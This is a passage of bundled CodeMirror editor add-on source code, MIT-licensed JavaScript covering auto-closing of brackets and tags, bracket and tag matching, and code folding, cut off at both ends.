      if (sibling == cm.getWrapperElement()) return true
    return false
  }
});

// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  var defaults = {
    pairs: "()[]{}''\"\"",
    closeBefore: ")]}'\":;>",
    triples: "",
    explode: "[]{}"
  };

  var Pos = CodeMirror.Pos;

  CodeMirror.defineOption("autoCloseBrackets", false,
function(cm, val, old) {
    if (old && old != CodeMirror.Init) {
      cm.removeKeyMap(keyMap);
      cm.state.closeBrackets = null;
    }
    if (val) {
      ensureBound(getOption(val, "pairs"))
      cm.state.closeBrackets = val;
      cm.addKeyMap(keyMap);
    }
  });

  function getOption(conf, name) {
    if (name == "pairs" && typeof conf ==
"string") return conf;
    if (typeof conf == "object" && conf[name] != null)
return conf[name];
    return defaults[name];
  }

  var keyMap = {Backspace: handleBackspace, Enter: handleEnter};
  function ensureBound(chars) {
    for (var i = 0; i < chars.length; i++) {
      var ch = chars.charAt(i), key = "'" + ch +
"'"
      if (!keyMap[key]) keyMap[key] = handler(ch)
    }
  }
  ensureBound(defaults.pairs + "`")

  function handler(ch) {
    return function(cm) { return handleChar(cm, ch); };
  }

  function getConfig(cm) {
    var deflt = cm.state.closeBrackets;
    if (!deflt || deflt.override) return deflt;
    var mode = cm.getModeAt(cm.getCursor());
    return mode.closeBrackets || deflt;
  }

  function handleBackspace(cm) {
    var conf = getConfig(cm);
    if (!conf || cm.getOption("disableInput")) return
CodeMirror.Pass;

    var pairs = getOption(conf, "pairs");
    var ranges = cm.listSelections();
    for (var i = 0; i < ranges.length; i++) {
      if (!ranges[i].empty()) return CodeMirror.Pass;
      var around = charsAround(cm, ranges[i].head);
      if (!around || pairs.indexOf(around) % 2 != 0) return
CodeMirror.Pass;
    }
    for (var i = ranges.length - 1; i >= 0; i--) {
      var cur = ranges[i].head;
      cm.replaceRange("", Pos(cur.line, cur.ch - 1),
Pos(cur.line, cur.ch + 1), "+delete");
    }
  }

  function handleEnter(cm) {
    var conf = getConfig(cm);
    var explode = conf && getOption(conf, "explode");
    if (!explode || cm.getOption("disableInput")) return
CodeMirror.Pass;

    var ranges = cm.listSelections();
    for (var i = 0; i < ranges.length; i++) {
      if (!ranges[i].empty()) return CodeMirror.Pass;
      var around = charsAround(cm, ranges[i].head);
      if (!around || explode.indexOf(around) % 2 != 0) return
CodeMirror.Pass;
    }
    cm.operation(function() {
      var linesep = cm.lineSeparator() || "\n";
      cm.replaceSelection(linesep + linesep, null);
      cm.execCommand("goCharLeft");
      ranges = cm.listSelections();
      for (var i = 0; i < ranges.length; i++) {
        var line = ranges[i].head.line;
        cm.indentLine(line, null, true);
        cm.indentLine(line + 1, null, true);
      }
    });
  }

  function contractSelection(sel) {
    var inverted = CodeMirror.cmpPos(sel.anchor, sel.head) > 0;
    return {anchor: new Pos(sel.anchor.line, sel.anchor.ch + (inverted ? -1
: 1)),
            head: new Pos(sel.head.line, sel.head.ch + (inverted ? 1 :
-1))};
  }

  function handleChar(cm, ch) {
    var conf = getConfig(cm);
    if (!conf || cm.getOption("disableInput")) return
CodeMirror.Pass;

    var pairs = getOption(conf, "pairs");
    var pos = pairs.indexOf(ch);
    if (pos == -1) return CodeMirror.Pass;

    var closeBefore = getOption(conf,"closeBefore");

    var triples = getOption(conf, "triples");

    var identical = pairs.charAt(pos + 1) == ch;
    var ranges = cm.listSelections();
    var opening = pos % 2 == 0;

    var type;
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i], cur = range.head, curType;
      var next = cm.getRange(cur, Pos(cur.line, cur.ch + 1));
      if (opening && !range.empty()) {
        curType = "surround";
      } else if ((identical || !opening) && next == ch) {
        if (identical && stringStartsAfter(cm, cur))
          curType = "both";
        else if (triples.indexOf(ch) >= 0 && cm.getRange(cur,
Pos(cur.line, cur.ch + 3)) == ch + ch + ch)
          curType = "skipThree";
        else
          curType = "skip";
      } else if (identical && cur.ch > 1 &&
triples.indexOf(ch) >= 0 &&
                 cm.getRange(Pos(cur.line, cur.ch - 2), cur) == ch + ch) {
        if (cur.ch > 2 &&
/\bstring/.test(cm.getTokenTypeAt(Pos(cur.line, cur.ch - 2)))) return
CodeMirror.Pass;
        curType = "addFour";
      } else if (identical) {
        var prev = cur.ch == 0 ? " " : cm.getRange(Pos(cur.line,
cur.ch - 1), cur)
        if (!CodeMirror.isWordChar(next) && prev != ch &&
!CodeMirror.isWordChar(prev)) curType = "both";
        else return CodeMirror.Pass;
      } else if (opening && (next.length === 0 || /\s/.test(next)
|| closeBefore.indexOf(next) > -1)) {
        curType = "both";
      } else {
        return CodeMirror.Pass;
      }
      if (!type) type = curType;
      else if (type != curType) return CodeMirror.Pass;
    }

    var left = pos % 2 ? pairs.charAt(pos - 1) : ch;
    var right = pos % 2 ? ch : pairs.charAt(pos + 1);
    cm.operation(function() {
      if (type == "skip") {
        cm.execCommand("goCharRight");
      } else if (type == "skipThree") {
        for (var i = 0; i < 3; i++)
          cm.execCommand("goCharRight");
      } else if (type == "surround") {
        var sels = cm.getSelections();
        for (var i = 0; i < sels.length; i++)
          sels[i] = left + sels[i] + right;
        cm.replaceSelections(sels, "around");
        sels = cm.listSelections().slice();
        for (var i = 0; i < sels.length; i++)
          sels[i] = contractSelection(sels[i]);
        cm.setSelections(sels);
      } else if (type == "both") {
        cm.replaceSelection(left + right, null);
        cm.triggerElectric(left + right);
        cm.execCommand("goCharLeft");
      } else if (type == "addFour") {
        cm.replaceSelection(left + left + left + left, "before");
        cm.execCommand("goCharRight");
      }
    });
  }

  function charsAround(cm, pos) {
    var str = cm.getRange(Pos(pos.line, pos.ch - 1),
                          Pos(pos.line, pos.ch + 1));
    return str.length == 2 ? str : null;
  }

  function stringStartsAfter(cm, pos) {
    var token = cm.getTokenAt(Pos(pos.line, pos.ch + 1))
    return /\bstring/.test(token.type) && token.start == pos.ch
&&
      (pos.ch == 0 || !/\bstring/.test(cm.getTokenTypeAt(pos)))
  }
});

// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

/**
 * Tag-closer extension for CodeMirror.
 *
 * This extension adds an "autoCloseTags" option that can be set
to
 * either true to get the default behavior, or an object to further
 * configure its behavior.
 *
 * These are supported options:
 *
 * `whenClosing` (default true)
 *   Whether to autoclose when the '/' of a closing tag is typed.
 * `whenOpening` (default true)
 *   Whether to autoclose the tag when the final '>' of an
opening
 *   tag is typed.
 * `dontCloseTags` (default is empty tags for HTML, none for XML)
 *   An array of tag names that should not be autoclosed.
 * `indentTags` (default is block tags for HTML, none for XML)
 *   An array of tag names that should, when opened, cause a
 *   blank line to be added inside the tag, and the blank line and
 *   closing line to be indented.
 * `emptyTags` (default is none)
 *   An array of XML tag names that should be autoclosed with
'/>'.
 *
 * See demos/closetag.html for a usage example.
 */

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../fold/xml-fold"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../fold/xml-fold"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  CodeMirror.defineOption("autoCloseTags", false, function(cm,
val, old) {
    if (old != CodeMirror.Init && old)
      cm.removeKeyMap("autoCloseTags");
    if (!val) return;
    var map = {name: "autoCloseTags"};
    if (typeof val != "object" || val.whenClosing !== false)
      map["'/'"] = function(cm) { return
autoCloseSlash(cm); };
    if (typeof val != "object" || val.whenOpening !== false)
      map["'>'"] = function(cm) { return
autoCloseGT(cm); };
    cm.addKeyMap(map);
  });

  var htmlDontClose = ["area", "base", "br",
"col", "command", "embed", "hr",
"img", "input", "keygen", "link",
"meta", "param",
                       "source", "track",
"wbr"];
  var htmlIndent = ["applet", "blockquote",
"body", "button", "div", "dl",
"fieldset", "form", "frameset",
"h1", "h2", "h3", "h4",
                    "h5", "h6", "head",
"html", "iframe", "layer",
"legend", "object", "ol", "p",
"select", "table", "ul"];

  function autoCloseGT(cm) {
    if (cm.getOption("disableInput")) return CodeMirror.Pass;
    var ranges = cm.listSelections(), replacements = [];
    var opt = cm.getOption("autoCloseTags");
    for (var i = 0; i < ranges.length; i++) {
      if (!ranges[i].empty()) return CodeMirror.Pass;
      var pos = ranges[i].head, tok = cm.getTokenAt(pos);
      var inner = CodeMirror.innerMode(cm.getMode(), tok.state), state =
inner.state;
      var tagInfo = inner.mode.xmlCurrentTag &&
inner.mode.xmlCurrentTag(state)
      var tagName = tagInfo && tagInfo.name
      if (!tagName) return CodeMirror.Pass

      var html = inner.mode.configuration == "html";
      var dontCloseTags = (typeof opt == "object" &&
opt.dontCloseTags) || (html && htmlDontClose);
      var indentTags = (typeof opt == "object" &&
opt.indentTags) || (html && htmlIndent);

      if (tok.end > pos.ch) tagName = tagName.slice(0, tagName.length -
tok.end + pos.ch);
      var lowerTagName = tagName.toLowerCase();
      // Don't process the '>' at the end of an end-tag
or self-closing tag
      if (!tagName ||
          tok.type == "string" && (tok.end != pos.ch ||
!/[\"\']/.test(tok.string.charAt(tok.string.length - 1)) ||
tok.string.length == 1) ||
          tok.type == "tag" && tagInfo.close ||
          tok.string.indexOf("/") == (pos.ch - tok.start - 1) ||
// match something like <someTagName />
          dontCloseTags && indexOf(dontCloseTags, lowerTagName)
> -1 ||
          closingTagExists(cm, inner.mode.xmlCurrentContext &&
inner.mode.xmlCurrentContext(state) || [], tagName, pos, true))
        return CodeMirror.Pass;

      var emptyTags = typeof opt == "object" &&
opt.emptyTags;
      if (emptyTags && indexOf(emptyTags, tagName) > -1) {
        replacements[i] = { text: "/>", newPos:
CodeMirror.Pos(pos.line, pos.ch + 2) };
        continue;
      }

      var indent = indentTags && indexOf(indentTags, lowerTagName)
> -1;
      replacements[i] = {indent: indent,
                         text: ">" + (indent ?
"\n\n" : "") + "</" + tagName +
">",
                         newPos: indent ? CodeMirror.Pos(pos.line + 1, 0) :
CodeMirror.Pos(pos.line, pos.ch + 1)};
    }

    var dontIndentOnAutoClose = (typeof opt == "object"
&& opt.dontIndentOnAutoClose);
    for (var i = ranges.length - 1; i >= 0; i--) {
      var info = replacements[i];
      cm.replaceRange(info.text, ranges[i].head, ranges[i].anchor,
"+insert");
      var sel = cm.listSelections().slice(0);
      sel[i] = {head: info.newPos, anchor: info.newPos};
      cm.setSelections(sel);
      if (!dontIndentOnAutoClose && info.indent) {
        cm.indentLine(info.newPos.line, null, true);
        cm.indentLine(info.newPos.line + 1, null, true);
      }
    }
  }

  function autoCloseCurrent(cm, typingSlash) {
    var ranges = cm.listSelections(), replacements = [];
    var head = typingSlash ? "/" : "</";
    var opt = cm.getOption("autoCloseTags");
    var dontIndentOnAutoClose = (typeof opt == "object"
&& opt.dontIndentOnSlash);
    for (var i = 0; i < ranges.length; i++) {
      if (!ranges[i].empty()) return CodeMirror.Pass;
      var pos = ranges[i].head, tok = cm.getTokenAt(pos);
      var inner = CodeMirror.innerMode(cm.getMode(), tok.state), state =
inner.state;
      if (typingSlash && (tok.type == "string" ||
tok.string.charAt(0) != "<" ||
                          tok.start != pos.ch - 1))
        return CodeMirror.Pass;
      // Kludge to get around the fact that we are not in XML mode
      // when completing in JS/CSS snippet in htmlmixed mode. Does not
      // work for other XML embedded languages (there is no general
      // way to go from a mixed mode to its current XML state).
      var replacement, mixed = inner.mode.name != "xml"
&& cm.getMode().name == "htmlmixed"
      if (mixed && inner.mode.name == "javascript") {
        replacement = head + "script";
      } else if (mixed && inner.mode.name == "css") {
        replacement = head + "style";
      } else {
        var context = inner.mode.xmlCurrentContext &&
inner.mode.xmlCurrentContext(state)
        if (!context || (context.length && closingTagExists(cm,
context, context[context.length - 1], pos)))
          return CodeMirror.Pass;
        replacement = head + context[context.length - 1]
      }
      if (cm.getLine(pos.line).charAt(tok.end) != ">")
replacement += ">";
      replacements[i] = replacement;
    }
    cm.replaceSelections(replacements);
    ranges = cm.listSelections();
    if (!dontIndentOnAutoClose) {
        for (var i = 0; i < ranges.length; i++)
            if (i == ranges.length - 1 || ranges[i].head.line < ranges[i
+ 1].head.line)
                cm.indentLine(ranges[i].head.line);
    }
  }

  function autoCloseSlash(cm) {
    if (cm.getOption("disableInput")) return CodeMirror.Pass;
    return autoCloseCurrent(cm, true);
  }

  CodeMirror.commands.closeTag = function(cm) { return
autoCloseCurrent(cm); };

  function indexOf(collection, elt) {
    if (collection.indexOf) return collection.indexOf(elt);
    for (var i = 0, e = collection.length; i < e; ++i)
      if (collection[i] == elt) return i;
    return -1;
  }

  // If xml-fold is loaded, we use its functionality to try and verify
  // whether a given tag is actually unclosed.
  function closingTagExists(cm, context, tagName, pos, newTag) {
    if (!CodeMirror.scanForClosingTag) return false;
    var end = Math.min(cm.lastLine() + 1, pos.line + 500);
    var nextClose = CodeMirror.scanForClosingTag(cm, pos, null, end);
    if (!nextClose || nextClose.tag != tagName) return false;
    // If the immediate wrapping context contains onCx instances of
    // the same tag, a closing tag only exists if there are at least
    // that many closing tags of that type following.
    var onCx = newTag ? 1 : 0
    for (var i = context.length - 1; i >= 0; i--) {
      if (context[i] == tagName) ++onCx
      else break
    }
    pos = nextClose.to;
    for (var i = 1; i < onCx; i++) {
      var next = CodeMirror.scanForClosingTag(cm, pos, null, end);
      if (!next || next.tag != tagName) return false;
      pos = next.to;
    }
    return true;
  }
});

// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  var ie_lt8 = /MSIE \d/.test(navigator.userAgent) &&
    (document.documentMode == null || document.documentMode < 8);

  var Pos = CodeMirror.Pos;

  var matching = {"(": ")>", ")":
"(<", "[": "]>", "]":
"[<", "{": "}>", "}":
"{<", "<": ">>",
">": "<<"};

  function bracketRegex(config) {
    return config && config.bracketRegex || /[(){}[\]]/
  }

  function findMatchingBracket(cm, where, config) {
    var line = cm.getLineHandle(where.line), pos = where.ch - 1;
    var afterCursor = config && config.afterCursor
    if (afterCursor == null)
      afterCursor = /(^| )cm-fat-cursor($|
)/.test(cm.getWrapperElement().className)
    var re = bracketRegex(config)

    // A cursor is defined as between two characters, but in in vim command
mode
    // (i.e. not insert mode), the cursor is visually represented as a
    // highlighted box on top of the 2nd character. Otherwise, we allow
matches
    // from before or after the cursor.
    var match = (!afterCursor && pos >= 0 &&
re.test(line.text.charAt(pos)) && matching[line.text.charAt(pos)])
||
        re.test(line.text.charAt(pos + 1)) &&
matching[line.text.charAt(++pos)];
    if (!match) return null;
    var dir = match.charAt(1) == ">" ? 1 : -1;
    if (config && config.strict && (dir > 0) != (pos ==
where.ch)) return null;
    var style = cm.getTokenTypeAt(Pos(where.line, pos + 1));

    var found = scanForBracket(cm, Pos(where.line, pos + (dir > 0 ? 1 :
0)), dir, style || null, config);
    if (found == null) return null;
    return {from: Pos(where.line, pos), to: found && found.pos,
            match: found && found.ch == match.charAt(0), forward:
dir > 0};
  }

  // bracketRegex is used to specify which type of bracket to scan
  // should be a regexp, e.g. /[[\]]/
  //
  // Note: If "where" is on an open bracket, then this bracket is
ignored.
  //
  // Returns false when no bracket was found, null when it reached
  // maxScanLines and gave up
  function scanForBracket(cm, where, dir, style, config) {
    var maxScanLen = (config && config.maxScanLineLength) || 10000;
    var maxScanLines = (config && config.maxScanLines) || 1000;

    var stack = [];
    var re = bracketRegex(config)
    var lineEnd = dir > 0 ? Math.min(where.line + maxScanLines,
cm.lastLine() + 1)
                          : Math.max(cm.firstLine() - 1, where.line -
maxScanLines);
    for (var lineNo = where.line; lineNo != lineEnd; lineNo += dir) {
      var line = cm.getLine(lineNo);
      if (!line) continue;
      var pos = dir > 0 ? 0 : line.length - 1, end = dir > 0 ?
line.length : -1;
      if (line.length > maxScanLen) continue;
      if (lineNo == where.line) pos = where.ch - (dir < 0 ? 1 : 0);
      for (; pos != end; pos += dir) {
        var ch = line.charAt(pos);
        if (re.test(ch) && (style === undefined ||
cm.getTokenTypeAt(Pos(lineNo, pos + 1)) == style)) {
          var match = matching[ch];
          if (match && (match.charAt(1) == ">") ==
(dir > 0)) stack.push(ch);
          else if (!stack.length) return {pos: Pos(lineNo, pos), ch: ch};
          else stack.pop();
        }
      }
    }
    return lineNo - dir == (dir > 0 ? cm.lastLine() : cm.firstLine()) ?
false : null;
  }

  function matchBrackets(cm, autoclear, config) {
    // Disable brace matching in long lines, since it'll cause hugely
slow updates
    var maxHighlightLen = cm.state.matchBrackets.maxHighlightLineLength ||
1000;
    var marks = [], ranges = cm.listSelections();
    for (var i = 0; i < ranges.length; i++) {
      var match = ranges[i].empty() && findMatchingBracket(cm,
ranges[i].head, config);
      if (match && cm.getLine(match.from.line).length <=
maxHighlightLen) {
        var style = match.match ? "CodeMirror-matchingbracket" :
"CodeMirror-nonmatchingbracket";
        marks.push(cm.markText(match.from, Pos(match.from.line,
match.from.ch + 1), {className: style}));
        if (match.to && cm.getLine(match.to.line).length <=
maxHighlightLen)
          marks.push(cm.markText(match.to, Pos(match.to.line, match.to.ch +
1), {className: style}));
      }
    }

    if (marks.length) {
      // Kludge to work around the IE bug from issue #1193, where text
      // input stops going to the textare whever this fires.
      if (ie_lt8 && cm.state.focused) cm.focus();

      var clear = function() {
        cm.operation(function() {
          for (var i = 0; i < marks.length; i++) marks[i].clear();
        });
      };
      if (autoclear) setTimeout(clear, 800);
      else return clear;
    }
  }

  function doMatchBrackets(cm) {
    cm.operation(function() {
      if (cm.state.matchBrackets.currentlyHighlighted) {
        cm.state.matchBrackets.currentlyHighlighted();
        cm.state.matchBrackets.currentlyHighlighted = null;
      }
      cm.state.matchBrackets.currentlyHighlighted = matchBrackets(cm,
false, cm.state.matchBrackets);
    });
  }

  CodeMirror.defineOption("matchBrackets", false, function(cm,
val, old) {
    function clear(cm) {
      if (cm.state.matchBrackets &&
cm.state.matchBrackets.currentlyHighlighted) {
        cm.state.matchBrackets.currentlyHighlighted();
        cm.state.matchBrackets.currentlyHighlighted = null;
      }
    }

    if (old && old != CodeMirror.Init) {
      cm.off("cursorActivity", doMatchBrackets);
      cm.off("focus", doMatchBrackets)
      cm.off("blur", clear)
      clear(cm);
    }
    if (val) {
      cm.state.matchBrackets = typeof val == "object" ? val : {};
      cm.on("cursorActivity", doMatchBrackets);
      cm.on("focus", doMatchBrackets)
      cm.on("blur", clear)
    }
  });

  CodeMirror.defineExtension("matchBrackets", function()
{matchBrackets(this, true);});
  CodeMirror.defineExtension("findMatchingBracket", function(pos,
config, oldConfig){
    // Backwards-compatibility kludge
    if (oldConfig || typeof config == "boolean") {
      if (!oldConfig) {
        config = config ? {strict: true} : null
      } else {
        oldConfig.strict = config
        config = oldConfig
      }
    }
    return findMatchingBracket(this, pos, config)
  });
  CodeMirror.defineExtension("scanForBracket", function(pos, dir,
style, config){
    return scanForBracket(this, pos, dir, style, config);
  });
});

// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../fold/xml-fold"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../fold/xml-fold"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("matchTags", false, function(cm, val,
old) {
    if (old && old != CodeMirror.Init) {
      cm.off("cursorActivity", doMatchTags);
      cm.off("viewportChange", maybeUpdateMatch);
      clear(cm);
    }
    if (val) {
      cm.state.matchBothTags = typeof val == "object" &&
val.bothTags;
      cm.on("cursorActivity", doMatchTags);
      cm.on("viewportChange", maybeUpdateMatch);
      doMatchTags(cm);
    }
  });

  function clear(cm) {
    if (cm.state.tagHit) cm.state.tagHit.clear();
    if (cm.state.tagOther) cm.state.tagOther.clear();
    cm.state.tagHit = cm.state.tagOther = null;
  }

  function doMatchTags(cm) {
    cm.state.failedTagMatch = false;
    cm.operation(function() {
      clear(cm);
      if (cm.somethingSelected()) return;
      var cur = cm.getCursor(), range = cm.getViewport();
      range.from = Math.min(range.from, cur.line); range.to =
Math.max(cur.line + 1, range.to);
      var match = CodeMirror.findMatchingTag(cm, cur, range);
      if (!match) return;
      if (cm.state.matchBothTags) {
        var hit = match.at == "open" ? match.open : match.close;
        if (hit) cm.state.tagHit = cm.markText(hit.from, hit.to,
{className: "CodeMirror-matchingtag"});
      }
      var other = match.at == "close" ? match.open : match.close;
      if (other)
        cm.state.tagOther = cm.markText(other.from, other.to, {className:
"CodeMirror-matchingtag"});
      else
        cm.state.failedTagMatch = true;
    });
  }

  function maybeUpdateMatch(cm) {
    if (cm.state.failedTagMatch) doMatchTags(cm);
  }

  CodeMirror.commands.toMatchingTag = function(cm) {
    var found = CodeMirror.findMatchingTag(cm, cm.getCursor());
    if (found) {
      var other = found.at == "close" ? found.open : found.close;
      if (other) cm.extendSelection(other.to, other.from);
    }
  };
});

// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerHelper("fold", "brace", function(cm,
start) {
  var line = start.line, lineText = cm.getLine(line);
  var tokenType;

  function findOpening(openCh) {
    for (var at = start.ch, pass = 0;;) {
      var found = at <= 0 ? -1 : lineText.lastIndexOf(openCh, at - 1);
      if (found == -1) {
        if (pass == 1) break;
        pass = 1;
        at = lineText.length;
        continue;
      }
      if (pass == 1 && found < start.ch) break;
      tokenType = cm.getTokenTypeAt(CodeMirror.Pos(line, found + 1));
      if (!/^(comment|string)/.test(tokenType)) return found + 1;
      at = found - 1;
    }
  }

  var startToken = "{", endToken = "}", startCh =
findOpening("{");
  if (startCh == null) {
    startToken = "[", endToken = "]";
    startCh = findOpening("[");
  }

  if (startCh == null) return;
  var count = 1, lastLine = cm.lastLine(), end, endCh;
  outer: for (var i = line; i <= lastLine; ++i) {
    var text = cm.getLine(i), pos = i == line ? startCh : 0;
    for (;;) {
      var nextOpen = text.indexOf(startToken, pos), nextClose =
text.indexOf(endToken, pos);
      if (nextOpen < 0) nextOpen = text.length;
      if (nextClose < 0) nextClose = text.length;
      pos = Math.min(nextOpen, nextClose);
      if (pos == text.length) break;
      if (cm.getTokenTypeAt(CodeMirror.Pos(i, pos + 1)) == tokenType) {
        if (pos == nextOpen) ++count;
        else if (!--count) { end = i; endCh = pos; break outer; }
      }
      ++pos;
    }
  }
  if (end == null || line == end) return;
  return {from: CodeMirror.Pos(line, startCh),
          to: CodeMirror.Pos(end, endCh)};
});

CodeMirror.registerHelper("fold", "import",
function(cm, start) {
  function hasImport(line) {
    if (line < cm.firstLine() || line > cm.lastLine()) return null;
    var start = cm.getTokenAt(CodeMirror.Pos(line, 1));
    if (!/\S/.test(start.string)) start =
cm.getTokenAt(CodeMirror.Pos(line, start.end + 1));
    if (start.type != "keyword" || start.string !=
"import") return null;
    // Now find closing semicolon, return its position
    for (var i = line, e = Math.min(cm.lastLine(), line + 10); i <= e;
++i) {
      var text = cm.getLine(i), semi = text.indexOf(";");
      if (semi != -1) return {startCh: start.end, end: CodeMirror.Pos(i,
semi)};
    }
  }

  var startLine = start.line, has = hasImport(startLine), prev;
  if (!has || hasImport(startLine - 1) || ((prev = hasImport(startLine -
2)) && prev.end.line == startLine - 1))
    return null;
  for (var end = has.end;;) {
    var next = hasImport(end.line + 1);
    if (next == null) break;
    end = next.end;
  }
  return {from: cm.clipPos(CodeMirror.Pos(startLine, has.startCh + 1)), to:
end};
});

CodeMirror.registerHelper("fold", "include",
function(cm, start) {
  function hasInclude(line) {
    if (line < cm.firstLine() || line > cm.lastLine()) return null;
    var start = cm.getTokenAt(CodeMirror.Pos(line, 1));
    if (!/\S/.test(start.string)) start =
cm.getTokenAt(CodeMirror.Pos(line, start.end + 1));
    if (start.type == "meta" && start.string.slice(0, 8)
== "#include") return start.start + 8;
  }

  var startLine = start.line, has = hasInclude(startLine);
  if (has == null || hasInclude(startLine - 1) != null) return null;
  for (var end = startLine;;) {
    var next = hasInclude(end + 1);
    if (next == null) break;
    ++end;
  }
  return {from: CodeMirror.Pos(startLine, has + 1),
          to: cm.clipPos(CodeMirror.Pos(end))};
});

});

// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  function doFold(cm, pos, options, force) {
    if (options && options.call) {
      var finder = options;
      options = null;
    } else {
      var finder = getOption(cm, options, "rangeFinder");
    }
    if (typeof pos == "number") pos = CodeMirror.Pos(pos, 0);
    var minSize = getOption(cm, options, "minFoldSize");

    function getRange(allowFolded) {
      var range = finder(cm, pos);
      if (!range || range.to.line - range.from.line < minSize) return
null;
      var marks = cm.findMarksAt(range.from);
      for (var i = 0; i < marks.length; ++i) {
        if (marks[i].__isFold && force !== "fold") {
          if (!allowFolded) return null;
          range.cleared = true;
          marks[i].clear();
        }
      }
      return range;
    }

    var range = getRange(true);
    if (getOption(cm, options, "scanUp")) while (!range
&& pos.line > cm.firstLine()) {
      pos = CodeMirror.Pos(pos.line - 1, 0);
      range = getRange(false);
    }
    if (!range || range.cleared || force === "unfold") return;

    var myWidget = makeWidget(cm, options, range);
    CodeMirror.on(myWidget, "mousedown", function(e) {
      myRange.clear();
      CodeMirror.e_preventDefault(e);
    });
    var myRange = cm.markText(range.from, range.to, {
      replacedWith: myWidget,
      clearOnEnter: getOption(cm, options, "clearOnEnter"),
      __isFold: true
    });
    myRange.on("clear", function(from, to) {
      CodeMirror.signal(cm, "unfold", cm, from, to);
    });
    CodeMirror.signal(cm, "fold", cm, range.from, range.to);
  }

  function makeWidget(cm, options, range) {
    var widget = getOption(cm, options, "widget");

    if (typeof widget == "function") {
      widget = widget(range.from, range.to);
    }

    if (typeof widget == "string") {
      var text = document.createTextNode(widget);
      widget = document.createElement("span");
      widget.appendChild(text);
      widget.className = "CodeMirror-foldmarker";
    } else if (widget) {
      widget = widget.cloneNode(true)
    }
    return widget;
  }

  // Clumsy backwards-compatible interface
  CodeMirror.newFoldFunction = function(rangeFinder, widget) {
    return function(cm, pos) { doFold(cm, pos, {rangeFinder: rangeFinder,
widget: widget}); };
  };

  // New-style interface
  CodeMirror.defineExtension("foldCode", function(pos, options,
force) {
    doFold(this, pos, options, force);
  });

  CodeMirror.defineExtension("isFolded", function(pos) {
    var marks = this.findMarksAt(pos);
    for (var i = 0; i < marks.length; ++i)
      if (marks[i].__isFold) return true;
  });

  CodeMirror.commands.toggleFold = function(cm) {
    cm.foldCode(cm.getCursor());
  };
  CodeMirror.commands.fold = function(cm) {
    cm.foldCode(cm.getCursor(), null, "fold");
  };
  CodeMirror.commands.unfold = function(cm) {
    cm.foldCode(cm.getCursor(), null, "unfold");
  };
  CodeMirror.commands.foldAll = function(cm) {
    cm.operation(function() {
      for (var i = cm.firstLine(), e = cm.lastLine(); i <= e; i++)
        cm.foldCode(CodeMirror.Pos(i, 0), null, "fold");
    });
  };
  CodeMirror.commands.unfoldAll = function(cm) {
    cm.operation(function() {
      for (var i = cm.firstLine(), e = cm.lastLine(); i <= e; i++)
        cm.foldCode(CodeMirror.Pos(i, 0), null, "unfold");
    });
  };

  CodeMirror.registerHelper("fold", "combine",
function() {
    var funcs = Array.prototype.slice.call(arguments, 0);
    return function(cm, start) {
      for (var i = 0; i < funcs.length; ++i) {
        var found = funcs[i](cm, start);
        if (found) return found;
      }
    };
  });

  CodeMirror.registerHelper("fold", "auto",
function(cm, start) {
    var helpers = cm.getHelpers(start, "fold");
    for (var i = 0; i < helpers.length; i++) {
      var cur = helpers[i](cm, start);
      if (cur) return cur;
    }
  });

  var defaultOptions = {
    rangeFinder: CodeMirror.fold.auto,
    widget: "\u2194",
    minFoldSize: 0,
    scanUp: false,
    clearOnEnter: true
  };

  CodeMirror.defineOption("foldOptions", null);

  function getOption(cm, options, name) {
    if (options && options[name] !== undefined)
      return options[name];
    var editorOptions = cm.options.foldOptions;
    if (editorOptions && editorOptions[name] !== undefined)
      return editorOptions[name];
    return defaultOptions[name];
  }

  CodeMirror.defineExtension("foldOption", function(options,
name) {
    return getOption(this, options, name);
  });
});

// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("./foldcode"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror", "./foldcode"],
mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("foldGutter", false, function(cm, val,
old) {
    if (old && old != CodeMirror.Init) {
      cm.clearGutter(cm.state.foldGutter.options.gutter);
      cm.state.foldGutter = null;
      cm.off("gutterClick", onGutterClick);
